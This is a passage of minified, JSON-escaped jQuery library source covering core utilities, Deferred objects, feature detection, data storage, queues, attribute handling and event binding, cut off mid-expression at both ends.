e.each(this,a,b)},ready:function(a){e.bindReady(),B.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(G.apply(this,arguments),\"slice\",G.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:F,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;B.resolveWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").unbind(\"ready\")}},bindReady:function(){if(!B){B=e._Deferred();if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",C,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",C),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026K()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a\u0026\u0026typeof a==\"object\"\u0026\u0026\"setInterval\"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):J[D.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!E.call(a,\"constructor\")\u0026\u0026!E.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||E.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,\"@\").replace(q,\"]\").replace(r,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(x,\"ms-\").replace(w,y)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:H?function(a){return a==null?\"\":H.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?F.call(c,a):e.merge(c,a)}return c},inArray:function(a,b){if(!b)return-1;if(I)return I.call(b,a);for(var c=0,d=b.length;c\u003cd;c++)if(b[c]===a)return c;return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=G.call(arguments,2),g=function(){return a.apply(c,f.concat(G.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c==\"object\"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h\u0026\u0026f\u0026\u0026e.isFunction(d);for(var k=0;k\u003ci;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=s.exec(a)||t.exec(a)||u.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026v.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){J[\"[object \"+b+\"]\"]=b.toLowerCase()}),A=e.uaMatch(z),A.browser\u0026\u0026(e.browser[A.browser]=!0,e.browser.version=A.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?C=function(){c.removeEventListener(\"DOMContentLoaded\",C,!1),e.ready()}:c.attachEvent\u0026\u0026(C=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",C),e.ready())});return e}(),g=\"done fail isResolved isRejected promise then always pipe\".split(\" \"),h=[].slice;f.extend({_Deferred:function(){var a=[],b,c,d,e={done:function(){if(!d){var c=arguments,g,h,i,j,k;b\u0026\u0026(k=b,b=0);for(g=0,h=c.length;g\u003ch;g++)i=c[g],j=f.type(i),j===\"array\"?e.done.apply(e,i):j===\"function\"\u0026\u0026a.push(i);k\u0026\u0026e.resolveWith(k[0],k[1])}return this},resolveWith:function(e,f){if(!d\u0026\u0026!b\u0026\u0026!c){f=f||[],c=1;try{while(a[0])a.shift().apply(e,f)}finally{b=[e,f],c=0}}return this},resolve:function(){e.resolveWith(this,arguments);return this},isResolved:function(){return!!c||!!b},cancel:function(){d=1,a=[];return this}};return e},Deferred:function(a){var b=f._Deferred(),c=f._Deferred(),d;f.extend(b,{then:function(a,c){b.done(a).fail(c);return this},always:function(){return b.done.apply(b,arguments).fail.apply(this,arguments)},fail:c.done,rejectWith:c.resolveWith,reject:c.resolve,isRejected:c.isResolved,pipe:function(a,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[c,\"reject\"]},function(a,c){var e=c[0],g=c[1],h;f.isFunction(e)?b[a](function(){h=e.apply(this,arguments),h\u0026\u0026f.isFunction(h.promise)?h.promise().then(d.resolve,d.reject):d[g+\"With\"](this===b?d:this,[h])}):b[a](d[g])})}).promise()},promise:function(a){if(a==null){if(d)return d;d=a={}}var c=g.length;while(c--)a[g[c]]=b[g[c]];return a}}),b.done(c.cancel).fail(b.cancel),delete b.cancel,a\u0026\u0026a.call(b,b);return b},when:function(a){function i(a){return function(c){b[a]=arguments.length\u003e1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(i(c),g.reject):--e;e||g.resolveWith(g,b)}else g!==a\u0026\u0026g.resolveWith(g,d?[a]:[]);return g.promise()}}),f.support=function(){var a=c.createElement(\"div\"),b=c.documentElement,d,e,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u;a.setAttribute(\"className\",\"t\"),a.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=a.getElementsByTagName(\"*\"),e=a.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=a.getElementsByTagName(\"input\")[0],k={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName(\"tbody\").length,htmlSerialize:!!a.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:a.className!==\"t\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,k.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,k.optDisabled=!h.disabled;try{delete a.test}catch(v){k.deleteExpando=!1}!a.addEventListener\u0026\u0026a.attachEvent\u0026\u0026a.fireEvent\u0026\u0026(a.attachEvent(\"onclick\",function(){k.noCloneEvent=!1}),a.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),k.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),a.appendChild(i),l=c.createDocumentFragment(),l.appendChild(a.firstChild),k.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML=\"\",a.style.width=a.style.paddingLeft=\"1px\",m=c.getElementsByTagName(\"body\")[0],o=c.createElement(m?\"div\":\"body\"),p={visibility:\"hidden\",width:0,height:0,border:0,margin:0,background:\"none\"},m\u0026\u0026f.extend(p,{position:\"absolute\",left:\"-1000px\",top:\"-1000px\"});for(t in p)o.style[t]=p[t];o.appendChild(a),n=m||b,n.insertBefore(o,n.firstChild),k.appendChecked=i.checked,k.boxModel=a.offsetWidth===2,\"zoom\"in a.style\u0026\u0026(a.style.display=\"inline\",a.style.zoom=1,k.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display=\"\",a.innerHTML=\"\u003cdiv style='width:4px;'\u003e\u003c/div\u003e\",k.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='padding:0;border:0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",q=a.getElementsByTagName(\"td\"),u=q[0].offsetHeight===0,q[0].style.display=\"\",q[1].style.display=\"none\",k.reliableHiddenOffsets=u\u0026\u0026q[0].offsetHeight===0,a.innerHTML=\"\",c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(j=c.createElement(\"div\"),j.style.width=\"0\",j.style.marginRight=\"0\",a.appendChild(j),k.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0),o.innerHTML=\"\",n.removeChild(o);if(a.attachEvent)for(t in{submit:1,change:1,focusin:1})s=\"on\"+t,u=s in a,u||(a.setAttribute(s,\"return;\"),u=typeof a[s]==\"function\"),k[t+\"Bubbles\"]=u;o=l=g=h=m=j=a=i=null;return k}(),f.boxModel=f.support.boxModel;var i=/^(?:\\{.*\\}|\\[.*\\])$/,j=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i=f.expando,j=typeof c==\"string\",k=a.nodeType,l=k?f.cache:a,m=k?a[f.expando]:a[f.expando]\u0026\u0026f.expando;if((!m||e\u0026\u0026m\u0026\u0026l[m]\u0026\u0026!l[m][i])\u0026\u0026j\u0026\u0026d===b)return;m||(k?a[f.expando]=m=++f.uuid:m=f.expando),l[m]||(l[m]={},k||(l[m].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?l[m][i]=f.extend(l[m][i],c):l[m]=f.extend(l[m],c);g=l[m],e\u0026\u0026(g[i]||(g[i]={}),g=g[i]),d!==b\u0026\u0026(g[f.camelCase(c)]=d);if(c===\"events\"\u0026\u0026!g[c])return g[i]\u0026\u0026g[i].events;j?(h=g[c],h==null\u0026\u0026(h=g[f.camelCase(c)])):h=g;return h}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e=f.expando,g=a.nodeType,h=g?f.cache:a,i=g?a[f.expando]:f.expando;if(!h[i])return;if(b){d=c?h[i][e]:h[i];if(d){d[b]||(b=f.camelCase(b)),delete d[b];if(!l(d))return}}if(c){delete h[i][e];if(!l(h[i]))return}var j=h[i][e];f.support.deleteExpando||!h.setInterval?delete h[i]:h[i]=null,j?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=j):g\u0026\u0026(f.support.deleteExpando?delete a[f.expando]:a.removeAttribute?a.removeAttribute(f.expando):a[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a==\"undefined\"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h\u003ci;h++)g=e[h].name,g.indexOf(\"data-\")===0\u0026\u0026(g=f.camelCase(g.substring(5)),k(this[0],g,d[g]))}}return d}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});var j=a.split(\".\");j[1]=j[1]?\".\"+j[1]:\"\";if(c===b){d=this.triggerHandler(\"getData\"+j[1]+\"!\",[j[0]]),d===b\u0026\u0026this.length\u0026\u0026(d=f.data(this[0],a),d=k(this[0],a,d));return d===b\u0026\u0026j[1]?this.data(j[0]):d}return this.each(function(){var b=f(this),d=[j[0],c];b.triggerHandler(\"setData\"+j[1]+\"!\",d),f.data(this,a,c),b.triggerHandler(\"changeData\"+j[1]+\"!\",d)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,c){a\u0026\u0026(c=(c||\"fx\")+\"mark\",f.data(a,c,(f.data(a,c,b,!0)||0)+1,!0))},_unmark:function(a,c,d){a!==!0\u0026\u0026(d=c,c=a,a=!1);if(c){d=d||\"fx\";var e=d+\"mark\",g=a?0:(f.data(c,e,b,!0)||1)-1;g?f.data(c,e,g,!0):(f.removeData(c,e,!0),m(c,d,\"mark\"))}},queue:function(a,c,d){if(a){c=(c||\"fx\")+\"queue\";var e=f.data(a,c,b,!0);d\u0026\u0026(!e||f.isArray(d)?e=f.data(a,c,f.makeArray(d),!0):e.push(d));return e||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e;d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),d.call(a,function(){f.dequeue(a,b)})),c.length||(f.removeData(a,b+\"queue\",!0),m(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(){var c=this;setTimeout(function(){f.dequeue(c,b)},a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f._Deferred(),!0))h++,l.done(m);m();return d.promise()}});var n=/[\\n\\t\\r]/g,o=/\\s+/,p=/\\r/g,q=/^(?:button|input)$/i,r=/^(?:button|input|object|select|textarea)$/i,s=/^a(?:rea)?$/i,t=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,u,v;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(o);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(o);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(n,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(o);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \";for(var c=0,d=this.length;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(n,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(e,\"value\"))!==b)return d;d=e.value;return typeof d==\"string\"?d.replace(p,\"\"):d==null?\"\":d}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type===\"select-one\";if(c\u003c0)return null;for(var h=g?c:0,i=g?c+1:e.length;h\u003ci;h++){var j=e[h];if(j.selected\u0026\u0026(f.support.optDisabled?!j.disabled:j.getAttribute(\"disabled\")===null)\u0026\u0026(!j.parentNode.disabled||!f.nodeName(j.parentNode,\"optgroup\"))){b=f(j).val();if(g)return b;d.push(b)}}if(g\u0026\u0026!d.length\u0026\u0026e.length)return f(e[c]).val();return d},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:\"tabIndex\"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(!(\"getAttribute\"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);j\u0026\u0026(c=f.attrFix[c]||c,i=f.attrHooks[c],i||(t.test(c)?i=v:u\u0026\u0026(i=u)));if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i\u0026\u0026\"set\"in i\u0026\u0026j\u0026\u0026(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,\"\"+d);return d}if(i\u0026\u0026\"get\"in i\u0026\u0026j\u0026\u0026(h=i.get(a,c))!==null)return h;h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1\u0026\u0026(b=f.attrFix[b]||b,f.attr(a,b,\"\"),a.removeAttribute(b),t.test(b)\u0026\u0026(c=f.propFix[b]||b)in a\u0026\u0026(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);i\u0026\u0026(c=f.propFix[c]||c,h=f.propHooks[c]);return d!==b?h\u0026\u0026\"set\"in h\u0026\u0026(g=h.set(a,d,c))!==b?g:a[c]=d:h\u0026\u0026\"get\"in h\u0026\u0026(g=h.get(a,c))!==null?g:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabIndex=f.propHooks.tabIndex,v={get:function(a,c){var d;return f.prop(a,c)===!0||(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},f.support.getSetAttribute||(u=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026d.nodeValue!==\"\"?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})})),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var w=/\\.(.*)$/,x=/^(?:textarea|input|select)$/i,y=/\\./g,z=/ /g,A=/[^\\w\\s.|`]/g,B=function(a){return a.replace(A,\"\\\\$\u0026\")};f.event={add:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){if(d===!1)d=C;else if(!d)return;var g,h;d.handler\u0026\u0026(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(\" \");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(\".\")\u003e-1?(n=l.split(\".\"),l=n.shift(),h.namespace=n.slice(0).sort().join(\".\")):(n=[],h.namespace=\"\"),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+l,k)}p.add\u0026\u0026(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){d===!1\u0026\u0026(d=C);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)\u0026\u0026f._data(a),t=s\u0026\u0026s.events;if(!s||!t)return;c\u0026\u0026c.type\u0026\u0026(d=c.handler,c=c.type);if(!c||typeof c==\"string\"\u0026\u0026c.charAt(0)===\".\"){c=c||\"\";for(h in t)f.event.remove(a,h+c);return}c=c.split(\" \");while(h=c[k++]){r=h,q=null,l=h.indexOf(\".\")\u003c0,m=[],l||(m=h.split(\".\"),h=m.shift(),n=new RegExp(\"(^|\\\\.)\"+f.map(m.slice(0).sort(),B).join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")),p=t[h];if(!p)continue;if(!d){for(j=0;j\u003cp.length;j++){q=p[j];if(l||n.test(q.namespace))f.event.remove(a,r,q.handler,j),p.splice(j--,1)}continue}o=f.event.special[h]||{};for(j=e||0;j\u003cp.length;j++){q=p[j];if(d.guid===q.guid){if(l||n.test(q.namespace))e==null\u0026\u0026p.splice(j--,1),o.remove\u0026\u0026o.remove.call(a,q);if(e!=null)break}}if(p.length===0||e!=null\u0026\u0026p.length===1)(!o.teardown||o.teardown.call(a,m)===!1)\u0026\u0026f.removeEvent(a,h,s.handle),g=null,delete \r\nt[h]}if(f.isEmptyObject(t)){var u=s.handle;u\u0026\u0026(u.elem=null),delete s.events,delete s.handle,f.isEmptyObject(s)\u0026\u0026f.removeData(a,b,!0)}}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){var h=c.type||c,i=[],j;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),j=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if(!!e\u0026\u0026!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join(\".\"),c.namespace_re=new 